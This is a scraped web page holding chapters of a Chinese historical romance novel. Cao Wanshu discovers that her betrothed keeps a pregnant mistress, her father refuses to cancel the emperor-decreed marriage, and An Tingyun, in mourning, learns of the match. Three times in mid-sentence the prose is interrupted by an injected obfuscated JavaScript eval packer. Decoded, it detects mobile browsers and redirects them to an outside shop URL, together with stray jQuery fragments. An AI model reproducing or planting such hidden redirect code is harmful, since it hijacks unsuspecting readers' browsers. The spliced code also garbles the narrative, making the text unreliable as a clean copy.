“二哥，你什么时候回来的？也不提前说一声。”安蕊走进屋，看见他这幅模样有些疑惑，“怎么坐在地上？” 走近了一看，地上有大片鲜红血迹，母亲安详的闭上双眼躺在床上，安蕊才反应过来。 还没等她哭出来，安亭蕴喉头一甜，“噗”地喷出一口鲜血，溅在床帏之上。 安蕊见此情形，登时吓得魂飞魄散，连忙上前去，哭喊道：“二哥，你怎么了？” 但见安亭蕴身子一歪，昏死过去，外头仆人听到屋里动静，也慌忙上前来掐他人中，一时乱作一团。 这话暂且按下。再说鲁国公府里，柳姨娘这几日正没好气。 她在屋子里走来走去，絮絮叨叨发着牢骚：“我本来还以为安亭蕴是个知恩图报的，谁知他转头就要跟清平县主定亲。这山望着那山高，真真是个没良心的东西。” 曹晚书坐在窗下，手里拿着一把小小银剪，专心修剪着花盆里那株红梅。 听了这话，忍不住插嘴道：“二表哥毕竟是探花出身，相貌又好，自然有许多人争着抢他做女婿。这也是常情。” 柳姨娘叹了一口长长的气：“唉，话是这么说。可那冯准，哪里比得上安亭蕴的官阶？你瞧他那样儿，轻狂浮躁的，能有什么大出息？况且宋夫人素来不喜我，他的亲侄子，将来若对你不好，可怎么好？” 曹晚书手下不停，道：“难道女人这一辈子，就非得嫁人不可？便是市井人家的女儿，还能自己开铺子做生意呢。就算我要嫁人，爹爹和母亲不管我，也还有祖母给我拿主意。” 柳姨娘急道：“他们找的那些，都是穷酸举子，熬到什么时候才能出头。再说了，你是什么身份？国公府的五姑娘！若出去开铺子做生意，还不得把你爹活活气死？” 曹晚书不以为然，仍低头修剪那株红梅：“您当初还说二表哥是穷酸举子呢，可人家如今深得官家器重，可见人不可貌相。” 被她这么一说，柳姨娘倒无言可对。只是心里仍不自在，暗道：天下举子虽多，可能像安亭蕴这样的，又有几个？ 这本正说着，冷元子提着一只竹篮，掀帘子进来，笑道：“姑娘，这是冯公子刚托人偷偷送过来的。”说着，把竹篮放在曹晚书面前。 柳姨娘好奇，凑过来道：“快打开瞧瞧，里头是什么？” 曹晚书掀开篮上盖的布，只见里头一封信，还有好些金银首饰，珠光宝气的，晃得人眼睛疼。 她取出信展开细看。前头写的是那日在侯府后园，唐突了姑娘，深自愧悔，请姑娘原宥则个。 到了信的后面，便写了许多肺腑之言，什么若蒙不弃，定当终身不负，日后绝不纳妾，诸如此类的话。 柳姨娘在一旁觑着，见女儿脸色淡淡的，便问道：“他信上说什么？” 曹晚书没有答言，只管往下看。 看完了，默默想了一回，将信凑到蜡烛上点着了，眼看着它烧成灰烬，才道：“冷元子，我记得你哥哥是住在外头的。可能劳烦你哥哥，替我暗暗访一访这个冯准？看他究竟为人如何，家里头清不清净，有没有外室什么的。只要访得真切，我自不会亏待了你哥哥。” 冷元子忙道：“姑娘放心，我这便回家告诉哥哥去。” 一旁的书案上，曹轼正捧着书，却支着耳朵听她们说话。此时忍不住问：“姐姐，要是被母亲知道了，可怎么好？” 曹晚书走过去，伸手摸了摸他的脑袋，温言道：“你只管好好做你的功课。你不说，我不说，母亲怎么会知道？便是知道了，我们也不过是想多了解冯家一些，这本就没什么错。你想想四姐姐，当初糊里糊涂嫁到李家去，落得个什么下场？你就明白了。” 曹轼想了想，点点头，又低头看书去了。 崇政殿。 “官家，这是安大人递上来的辞呈。” 皇帝正忙着手中的事物，抬眸瞟了一眼那内侍，淡淡说了句：“念给朕听。” 内侍展开辞呈，开始念道：“今臣母仙逝，蕴蒙慈母含辛茹苦，鞠育训诲，方得立世。今慈闱倾颓，当庐墓尽哀，追思罔极之恩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282726|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蕴幸列朝班，沐陛下殊恩，然丁忧之礼，孝之大义所在，岂敢违背。故恳请陛下许臣暂辞职务，归梓守制三载，庶几全孝悌之节，亦昭陛下崇孝之盛德也。待服阕之期，蕴必驰驱赴阙，矢志殚精竭虑，续效涓埃之力，酬陛下浩荡洪恩。蕴不胜哀伤恳切之至，谨拜表以闻，伏望陛下矜悯愚诚，俯允所请。兴化知州兼总督河务臣安亭蕴叩呈。” 今上听后，皱了皱眉头，一把抢过内侍手中的劄子，看了一眼后便叹了口气：“唉，他刚解决了一个朕的心头大患，本欲擢为谏议大夫，谁料…” 内侍也叹了叹气，语气沉重的说着：“听闻，安大人日夜守在亡母坟前，不吃不喝，哭晕过去好多次。别人劝也劝不了，拉也拉不住，甚至下着大雨时，他也依然守在坟前。那日安大人回去，本是有意去鲁国公府提亲的，谁料到忽然发生这样的事情。如此一来，想要再去曹家提亲，也得等到二十七个月后了。” “鲁国公府…，曹家？是最近传的沸沸扬扬新婚之夜吓跑夫君的曹家四姑娘吗？”今上眉头皱皱，有些大惊失色。 “当然不是那位曹四姑娘，好像是要定下曹五姑娘。” 听到这里，今上忍不住笑出了声：“朕那位七叔父，还一心想把自己的女儿清平县主许给安楚尧呢，看来楚尧的心里是装着曹五姑娘的。这下他解官丁忧二十七个月，朕的七叔公怕是等不急要把女儿嫁给别人了，果然人算不如天算呐。” 再表陶然轩中。 宋夫人独坐窗前，手持一柄团扇，有一搭没一搭地扇着。 眼睛盯着站在下首的侄子冯准，看了好一会儿，才开口问：“你可是真心要与晚书定亲？” 冯准忙道：“自然是真心。” 宋夫人道：“那你见了她，心里是个什么光景？” 冯准想了想，红着脸忸怩道：“我一看见她，就觉着脸红心跳，一颗心扑腾扑腾的，快要从腔子里蹦出来。姑母，您千万替我在她跟前多说些好话，越快定下这门亲越好。眼看着我那外室肚子一天天大起来，总不能老在外头飘着，没个名分进府，我这心里也不是滋味。” 宋夫人听了，脸色微微一沉，问道：“你这些日子，没往你那个外室那边去吧？” 冯准道：“没有没有！我早和她说明白了，不成亲绝不去她那儿，免得露了马脚。” 宋夫人又问：“你外头有女人这事，都有谁知道？” 冯准道：“除了姑母您，和我自小贴身的小厮，再没第三个人知道了。” 宋夫人点点头，道：“那就好。” 她心里暗暗盘算：这事若被老太太知道了，自己少不得要挨一顿好骂。如今只能小心谨慎，把这桩事瞒得铁桶相似，万不能走漏半点风声。 她方道：“前些日子，你姑父和我也商量过了。晚丫头也到了该出嫁的年纪，挑来选去，还是觉着你们俩最相配。你回去预备预备，拣个好日子，早些来提亲罢。” 冯准一听，登时眉开眼笑，喜得合不拢嘴，连连作揖道：“多谢姑母，我这就回去准备！” 27. 幽会 曹晚书偷偷让冷元子的哥哥跟踪冯准好些日子，也没有发现什么。 他每日都是清晨去上值，待到下午再回来。即不去酒楼，也不去妓院，更别提什么小妾外室了。 冷元子的哥哥还特意打听过，这个冯准踏实上进，因为冯大人管的严厉，他屋里连个通房都是没有的。 打听到这些，曹晚书终于松了口气，这个冯准好歹不是那种放荡不堪的人。 冷元子说：“冯公子现在在陶然轩，跟夫人说话呢。” 曹晚书思虑了一会儿，叮嘱冷元子：“等他出来，你悄悄告诉他，让他来后园的假山附近找我。” “姑娘，这要是被人撞见了可怎么办？”冷元子觉得有些太冒险，如果被人撞见，孤男寡女，曹晚书肯定会被人非议的。 “我待会儿换上你的衣服，你快去吧。” 冯准正从陶然轩离开没一会儿呢，守在半路上的冷元子忽然冒出来，见四下无人，对他说道：“冯公子，我家姑娘说要见你。” “要见我？！”冯准惊喜万分，“她在哪儿？” “后园假山附近，一会儿我走在前头，你在后面跟着我走就是了。” 说完，冷元子便跑到了前面，为了不让其他人猜忌，她和冯准之间的距离约有个五十步左右。 曹晚书早已经换上丫鬟的衣服，在假山石洞里等着，幸亏这石洞足够大，刚好可以容纳两个人，还不易被发现。 冯准走进石洞里，一看到曹晚书，眼睛都不知道该看向哪里好了，紧张得说不出话。 “冯公子，我今日偷偷见你，是有话要说。” “你说。” 曹晚书安然自若道：“既然你想要娶我，那我也是有要求的，你必须得答应我三个条件，我才能放心嫁你。” 冯准目光坚定地看着她：“莫说三件，便是三十件我也依你。” 曹晚书道：“头一件，不许有外室。第二件，不许纳妾。第三件，连通房丫头也不许有。总而言之一句话，你娶了我，便只许有我一个，再不许有旁的女人。这三件你若不能依，我是断不肯嫁的。” 冯准听了这话，心里不由得打了个突。他外头原养着一个人，肚子里还怀着孩子呢，这话要是说出来，只怕立时便黄了。 他脑子转得飞快，暗想：她只说婚后不许有，却没提婚前的事。且只要去母留子，将来把孩子抱回来养，也是一样的。 想到这里，便定了神，笑道：“好，我依你。” 曹晚书见他应得爽快，心里便也放下几分，点头道：“话已说完了，你快回去罢，别叫人撞见了。” 谁知冯准反而不肯走了。他心里喜欢得什么似的，恨不得立时就把人娶回家去。他咽了口唾沫，笑道：“这个月十五，我就请家父来府上提亲。” “哦…”曹晚书低着头，推着他的身体想让他赶紧离开，“你快走吧。” “我不想走，我想再和你多呆一会儿。”冯准干脆直接坐了下来，也拉着曹晚书坐在自己身旁，“那天看见你为了你四姐姐，不惜得罪清平县主，我就已经对你有好感了。” “啊？我们说的话你真的都听见了？”曹晚书本来还想在他跟前装装样子呢，谁想到自己咄咄逼人的一面被他给撞见了。 “我就喜欢你这种不卑不亢的性格，只要你嫁给我，我会对你好一辈子。” 曹晚书内心翻了个白眼儿，才认识几天见过几面啊，他就轻松许诺要对自己好一辈子这种话。 俗话说得好，男人的嘴骗人的鬼，这只不过是他的一时新鲜感罢了。新鲜感一上头，什么承诺都能说的出来，等到新鲜感一过，便再也装不下去，原形毕露。 曹晚书是最不相信这些承诺的，只当他是在说着笑话。 十五日，艳阳高照。 冯家遣了东京城里最有名的王媒婆打头阵，冯岩亲自捧着裹了红绸的大雁，后头跟着八个挑夫，担着各色聘礼，浩浩荡荡往曹府而来。 那王媒婆身着绛紫褙子，未语先笑，敲着门道：“曹公爷在家否？老身受冯府所托，特来求一段金玉良缘。” 曹望正在书房临帖，听得外头喧嚷，忙搁下狼毫笔迎出来。但见那媒婆立在阶前，身后朱漆礼盒堆成小山，在日头下泛着油光。 “哎哟哟，冯大人。”曹望三步并作两步下了台阶，拱手道：“自去岁重阳一别，已有半载未见。今日怎的这般阵仗？” 冯岩拱手笑道：“姐夫莫怪小弟唐突。是犬子对府上五姑娘倾心已久，今日特备了些薄礼，望姐夫成全这段姻缘。”说着递过礼单，“虽比不得别人，却也备足了汴京时兴的物件。” 曹望接过红帖，见上头密密麻麻写着的都是些稀世珍宝。他眼角笑纹更深，拍着冯岩肩膀道：“贤弟这是作甚，你我本是一家人，何须这些虚礼，快请进厅里吃茶。” 二人一同走着，冯岩忽然低声道：“不瞒姐夫，准儿那孩子自打见过五姑娘一面，便茶饭不思。” 曹望闻言大笑，吩咐小厮：“把去年埋的梨花白取出来，今日我要与冯大人痛饮。” 果子端着一碗冰酪，站在门外注视了曹晚书许久，见她眉头微蹙，手里绣着花，能看出来有些心不在焉的样子。 她轻手轻脚走近，把冰酪放在她面前，道：“姑娘，用些点心罢。厨娘新熬的杏酪，拿井水镇过的。” 她端起瓷碗，冰酪上还撒着捣碎的玫瑰卤子，甜香沁人，却勾不起她半分食欲。 果子觑着她神色，担忧地问：“姑娘，真的打算就这样定下亲事了吗？” “唉，我如今还有什么可想的。” 果子自幼就跟着曹晚书，她的一举一动，一个眼神，果子都能心领神会。 “明明安大人更适合您，您心里面也是有他的。” “住口！日后就休要再提他了，他既然已经写信告知我们日后勿扰，必然是无意于我，咱们又何必对人家死缠烂打。”曹晚书拿起勺子，挖了一勺冰酪放在嘴里，“我都和冯家定亲了，以后就得想着怎么才能在冯家过好日子，站稳脚跟。” “果然人不可貌相，我是无论如何也想不通，安公子会是那种背信弃义的人。”果子叹了叹气，她总觉得冯准这个人不如安亭蕴靠谱。 她又想想，还是为自己姑娘不甘心，说道：“可是姑娘，难道真的不再争取一下了吗？安大人母亲病逝，他要为母丁忧二十七个月。清平县主已经年满十九，自是等不了这两年多的时光。” 曹晚书眸子微微闪了闪，盯着手中的绣活发呆。她当然也知道安亭蕴很好，可总不能死皮赖脸硬缠着人家。 她如今已与冯家公子私定终身，想要反悔，也不可能了。开弓没有回头箭，自己选择的路，还得硬着头皮往前走。 晚书放下手里的针线，起身走到门口，将两扇虚掩着的门给打开，徐徐的微风吹在她身上。 她抬头望着院子里的桃树，叶子也被风吹的摇摇晃晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289821|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。脑海里不禁浮想出一句“知不可乎骤得，托遗响于悲风。” 没一会儿，冷元子蹦蹦哒哒的小跑过来，朝着晚书说：“姑娘，夫人让您去前厅。” 说完，她又靠近了晚书，在她耳旁悄悄说：“冯公子带了许多名贵礼品来提亲，定是十分钟意您在乎您的。” “我知道了。”曹晚书应下，走到镜子面前，瞧了瞧现在的妆容并没有什么不妥，才出了院子去。 还没走到前厅，就听见里面咿咿呀呀的，似乎热闹极了。 曹晚书向冯家老爷太太行了个礼，这还是她第一次见到冯家父母。 也正是因为这一次见到，才让她恍然想起一件重要的事。来日嫁人，不光要看丈夫品行如何，也得看看公婆是否为人和善，她竟把这么重要的事给忘的一干二净。 冯家夫人朱氏一看到曹晚书，这身段，这模样，她是打心眼里的喜欢，瞧着瞧着，便失了神。 宋夫人把晚书拉到跟前去，一边摸着她热乎乎的小手，一边自豪得向朱夫人说道：“我家这小五，平日里最是乖巧可爱，全家上下最得宠的就是这丫头了，人人见了都得称赞她几句呢。” “我方才一见到五姑娘，便喜欢的不得了，恨不得明日便大摆筵席，八抬大轿娶姑娘进门呢。” 朱夫人笑得合不拢嘴，一面说，一面拉住晚书的手：“哎呀呀，真不怨我家大郎痴心，这真真是个画儿里走下来的人儿啊。” 宋氏道：“我知你是个贤德温善的人，待他日晚儿嫁入你家，我也就放心了，你总不会苛待了她去。” 屋子里的人你一搭我一搭的说着话，说着说着便到晌午了。此时宴席也已经备好，众人又移步到后院的庭院里，坐下吃了起来。 曹晚书坐在宋夫人身边，专心吃着饭菜，耳朵也没闲着，将他们说的话都给听了进去。 她总觉得冯准那个方向，有一股目光一直盯着自己瞧。晚书能感觉得到，但不敢抬头去确认，生怕四目相对，两个人会尴尬。 自从曹玉书与李植和离之后，她夜里便总是跑到晚书房里睡觉，两人常常聊一些女子之间的私房话。 “五妹妹，没想到这么快你也要嫁人了。” “是啊，时间过得可真快。” 曹晚书算了算，自己来到这个世界也已经好多年了，她似乎已经适应了这里的生活。 “四姐姐，你以后可有什么打算？”曹晚书忽然问起。 “我也不知道，走一步看一步吧，都怨我自己，稀里糊涂的嫁出去，没想到会是这个下场。” “不过是和离罢了，四姐姐也不必优心，待他日再寻一个如意郎君就是。” 曹玉书笑了笑：“我若是男子，便早早就去行军打仗了，何苦来在这里为了将来的婚事忧心。” 是啊，四姐姐若是男子，没准儿现在已经是一位骁勇善战的大将军了。 只可惜，生在这个时代，对女性约束颇多，有太多的抱负和理想都无法实现。 当女儿时，被困在这一方天地里，学规矩懂礼仪，要做一个大家闺秀。成家时，要打理府上各种事物，教养儿女伺候公婆，做个贤妻良母。 “五妹妹，你可不要再像我一样，既嫁过去，就好好过日子。冯准是母亲的亲侄子，他定不会怠慢了你去。”曹玉书贴在她肩膀上说完，撸起袖子攥紧拳头，又补充了一句：“他若真敢欺负你，我就去揍他。” 曹晚书听后，忍不住笑了。 28. 皇帝赐婚 思及此，曹晚书忽的同玉书说道：“四姐姐可否帮妹妹一个小忙？” 曹玉书并没有多想，随口答道：“你说便是。” “我想让四姐姐帮我打探打探冯家哥哥的人品。这样一来，我就算嫁过去也安心了。” 听她说来这些话，曹玉书想她定是因为自己的那段糟心婚事，让五妹妹心里头后怕了。 这个忙，曹玉书也是能帮得的，于是向曹晚书点了点头道：“五妹妹就放心吧，这事儿交给我就是了。” 曹晚书心里头感激不尽，连忙起身就要行礼：“谢过四姐姐。” 日子一天天的过去，曹晚书也为自己的婚事做着准备，令冷元子裁好布料，自己又在布料上绣些喜结连理的纹饰。 “姑娘，您别熬坏了眼睛，这些活儿就让我们几个来做吧，您就好好歇着。”冷元子已不知这样劝过了多少回。 果子忽然想起来什么，又道：“姑娘，听说官家也知晓了姑娘和冯家公子的事，还要赐婚呢。” 曹晚书心下一紧，连忙问：“你从哪里听来的？” “姑娘今日去老太太那里的时候，我听刘妈妈说的。” 话音刚落，梅子便推门而入，传道：“四姑娘来了。” 四姐姐来了，想必是托她办的事情已经有了着落。曹晚书立马放下手里的活，亲自出门去迎她。 见四姐姐心烦气躁，疾言遽色，曹晚书心里感到有些不妙。 “好妹妹，我接下来要说的话，你可莫要生气。” “姐姐尽管说便是。” 曹玉书转头看了一眼屋里的下人们，曹晚书当即明白她的意思，对那些丫鬟们说道：“我与姐姐说些体己话，你们就都退下吧。” 等人都出去，曹玉书才开口：“那日妹妹交代我的事情，我都放在心上，隔日便去了一趟冯府。这不去不知道，一去吓一跳。我与舅妈正说着话，外头就有一妇人挺着大肚子闯进来。舅妈吓了一跳，也不问缘由就让人将她轰出去。我心里头觉得奇怪，便去问她，方才知道，那挺着大肚子的妇人是冯准养在外头的外室。” 曹晚书脑子一嗡，手指不自觉的紧抓着桌沿。 其实她心里何尝没有想过这一层？只是想着冯准到底是母亲的亲侄儿，又打听得那样仔细，总不该有什么差池。谁想竟是这样！ 曹玉书见她脸色不对，心下不忍，却又不得不把话说完：“舅妈私下与我说，只待那孩子生下来，便抱进府里养着。至于那外室，寻个由头打发了就是，断断不能让她污了冯家的门楣。” 曹晚书听了这话，倒慢慢回过神来。她抬起头，嘴角扯出一丝冷笑：“朱舅妈倒是打得好算盘。既要占着子嗣的便宜，又要保全自家的体面。那女子若是清白人家的女儿，冯准早该纳她为妾了，这般藏着掖着，无非是嫌她出身卑贱，上不得台面罢了。” 曹玉书急道：“事到如今，这门亲事断断不能成了！我这就去求父亲，便是拼着得罪官家，也要把这门亲退了！” “不用。”曹晚书站起身来，走了两步，道：“我自己去求他。” 主仆二人一路走着，曹晚书忽道：“果子，你说爹爹会帮我吗？” 果子愣了愣，道：“说句不该说的话。老爷是极重名利的人，依我看，悬着呢。” 曹晚书没说话，推门走了进去。 曹望正在看公文，见五丫头进来，道：“有什么事？” 曹晚书行了礼，站了一会儿，方道：“女儿有一事，想求爹爹做主。” 曹望搁下笔，抬起眼来：“说罢。” 曹晚书抬起头，望着父亲：“女儿听说，冯家哥哥在外头养了外室。那妇人，已经有了身孕。” 曹望拿起茶盏，呷了一口，慢悠悠地道：“冯家哥儿年轻不懂事，养个外室算什么。哪家的少爷公子，没个糊涂的时候？” 曹晚书咬了咬唇，道：“这是女儿的终身大事，求爹爹替女儿做主，把这门亲事退了罢。” 曹望把茶盏往桌上一顿。 “退亲？”曹望瞪着她，“你知不知道你在说什么？” 曹晚书迎着父亲的目光，道：“冯准瞒着家里养外室，还有了身孕。这样的人，女儿死也不能嫁。” “你以为你是谁？这是圣上赐婚！圣旨一下，便是板上钉钉的事。你倒好，张嘴就要退亲，你当这是小孩子过家家呢？” 曹晚书道：“正是因为圣上赐婚，才更要三思。冯准品行如此，若女儿嫁过去，日后闹出什么事来，岂不是让圣上脸上无光？到时候，曹家也跟着没脸。” 曹望一怔，倒没想到她会这么说。随即又哼了一声，道：“你少拿这些大话来堵我。冯家是文官清流，冯准是他爹亲自教养大的，能有什么大错？不过是年轻风流，养个把外室，谁家没有这样的事？你倒好，拿着当把柄，要死要活的。” 曹晚书怒道：“冯家既然来求亲，就该把话说清楚。这般瞒着藏着，骗咱们结亲，又是什么道理！” 曹望听了这话，脸色便沉了下来。他站起身来，背着手走了两步，忽然转过身来，指着曹晚书道：“冯家哪里骗你了？那外室的事，人家早就跟我们通过气，是你自己不知道罢了！” 曹晚书一愣：“爹爹早就知道？” “知道又如何。” 曹晚书脑子里嗡嗡的，一片空白。半晌才道：“爹爹早就知道，为何不告诉女儿？” 曹望被她这眼神看得有些不自在，别过脸去，道：“告诉你做什么。为了这点子事，由着你胡闹么？” 曹晚书听了这话，反倒笑了。 “原来在爹爹眼里，女儿的终身大事，不过是‘这点子事’。” 曹望听了这话，脸上便挂不住了。他一拍桌子，怒道：“放肆！你这是跟父亲说话的样子？” 曹晚书望着他，道：“爹爹既然早就知道冯准有外室，却不告诉女儿，任由女儿蒙在鼓里。说甚么疼我爱我，原来都是假惺惺装模作样！” 曹望张了张嘴，又闭上，脸色青一阵白一阵。 他咬牙切齿道：“你倒是长本事了，敢跟父亲顶嘴了！我告诉你，圣旨已下，你若敢抗旨不遵，便是死罪。你死不要紧，可别连累咱们曹家满门！” 曹晚书听了这话，脸上的冷笑便凝住了。 见她还待着不肯走，曹望便去推她，把她赶到门外去，一面走一面说：“咱们曹家是武将世家，冯家是文官清流，圣上有意撮合，不过是想借两家联姻，缓和朝堂上文武相轻的戾气。 此时退婚，说轻点是曹家不识抬举，说重点，便是藐视君威，蓄意挑拨朝纲。我忠君一生，断断不会应允，你死了这条心。”说罢，将门用力一关。 晚书被他关在门外，手在抖，腿也在抖，整个人像是被抽去了骨头，软得站不住。 果子在外头等着，见她出来，忙上前扶住她，道：“姑娘，你怎么了？” 曹晚书摇摇头，说不出话来。 她一路走回自己屋里，关上门，这才靠着门板，慢慢滑坐下来。 果子吓得要死，蹲在她跟前，道：“姑娘，您说话呀，别吓奴婢。” “果子，你说得对。爹爹是个自私自利的人，他不会帮我的。” 次日，府里便忙开了。 宋夫人笑得合不拢嘴，逢人便说，官家看重咱们曹家，这是天大的体面。 曹晚书坐在屋里，听着外头的热闹，怔怔的出神。 果子端了茶进来，见她这般模样，心里疼得慌，却不知该说什么。 这时，冷元子掀帘子进来，道：“姑娘，冯公子来了，夫人请您过去呢。” 曹晚书淡淡道：“知道了。”却没有起身的意思。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296028|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 冷元子有些着急：“姑娘，夫人和冯公子那边等着呢，去晚了怕不好。” 曹晚书对着镜子照了照，道：“不急。我的头发有些乱了，你再替我梳一梳罢。” 陶然轩里，冯准有些坐立不安。 他一会儿站起来走到门口张望，一会儿又回来坐下，端起茶盏喝一口，又撂下，如此反复了不知多少回。 宋夫人看着他这样子，又好气又好笑：“猴儿似的，坐也坐不安生。” 冯准苦着脸道：“姑母，五妹妹怎么还不来？都等了一炷香的工夫了。她该不会是知道了那事，真生我的气，不肯嫁我了罢？” 宋夫人哼了一声：“你不是说那蹄子藏好了么？怎么又跑到玉书跟前去闹？” “她也是被逼无奈，这事不怪她。” “呸！”宋夫人一拍桌子，“不怪她，难不成怪我？我好不容易和晚丫头关系缓和了些，因为你这些破事，她心里指不定怎么怨恨我这个母亲呢！” 冯准急得团团转：“姑母快派人去催催罢！她越拖着不来，我这心里越慌，跟猫抓似的。” 邹妈妈急急跑进来，道：“夫人，宫里来人了！” 冯准和宋夫人对视一眼，这才松了一口气。 正厅里，阖府上下都跪了一地。 宫里来的天使，手捧圣旨，高声宣读。念罢，合上圣旨，笑吟吟地对曹晚书道：“曹姑娘，快接旨罢。” 曹晚书跪在地上，双手举过头顶，接过圣旨，叩首道：“臣女谢陛下隆恩。” 等宫里的人走了，宋夫人特意拉着冯准，低声道：“准儿，快去跟晚丫头好好谈谈。多说些软和话，哄哄她。” 冯准此刻却像换了个人。方才的焦躁一扫而空，脸上浮起一丝得意，撇着嘴道：“姑母多虑了。如今圣旨都下了，板上钉钉的事。我还用得着去她跟前低三下四，做伏低做小的勾当？” “咦？方才在屋里，你不是还急得猴儿似的？” 冯准嘿嘿一笑：“方才那是怕她小性儿发作，悔了这门亲。”他眼神轻佻，往正厅方向瞟了一眼，“如今嘛，有官家金口玉言压着，她敢抗旨，除非她不要命，不要曹家满门的富贵了。” 这话说得张扬，声音也不小。 曹晚书刚从正厅出来，走到廊下，这几句话便清清楚楚地飘进了耳朵里。 果子在后头跟着，气得脸都白了，低声道：“姑娘，你听听这话！他这是什么意思！” 果子还要再说，曹晚书摆了摆手，道：“回去罢。” 山东济州府。 “哥，不好了。”安蕊急急忙忙从外面跑进来。 安亭蕴还在看着手中的经文，看到自家妹妹咋咋呼呼地跑过来，心中难免有气，训斥道：“可还有半点女子的样子？” “我可都是为了你好，再晚来一会儿，你心心念念的姑娘就要被别人给抢跑了。”安蕊满脸的不服气。 安亭蕴有些疑惑，放下手里的书卷，问道：“发生甚事了？” 安蕊跑得有些急，大喘着气说：“大哥来信说，官家要给鲁国公府的小姐赐婚。” “是曹家四姑娘的婚事？” “不可能。曹四姑娘才和离没多久，多半是曹五姑娘了。” 一霎间，他猛地站起身来，浑身冷的仿佛像一块石头，呼吸也变得短促起来，那口气憋在喉咙里，上不去也下不来。 “不对，不对。”他在屋子里转来转去，又自言自语地说着，“这不可能，官家不可能给晚书赐婚。” “快去备马，我要面圣！” 安亭蕴一路打马狂奔，生生跑死了两匹上好的骏马，昼夜不停，水米未进，才堪堪赶到汴京城下。 现在他整个人像从泥塘里滚过，又被人抽了筋似的。头发散乱，沾满尘土草屑，下巴上冒着胡茬，眼睛里布满血丝。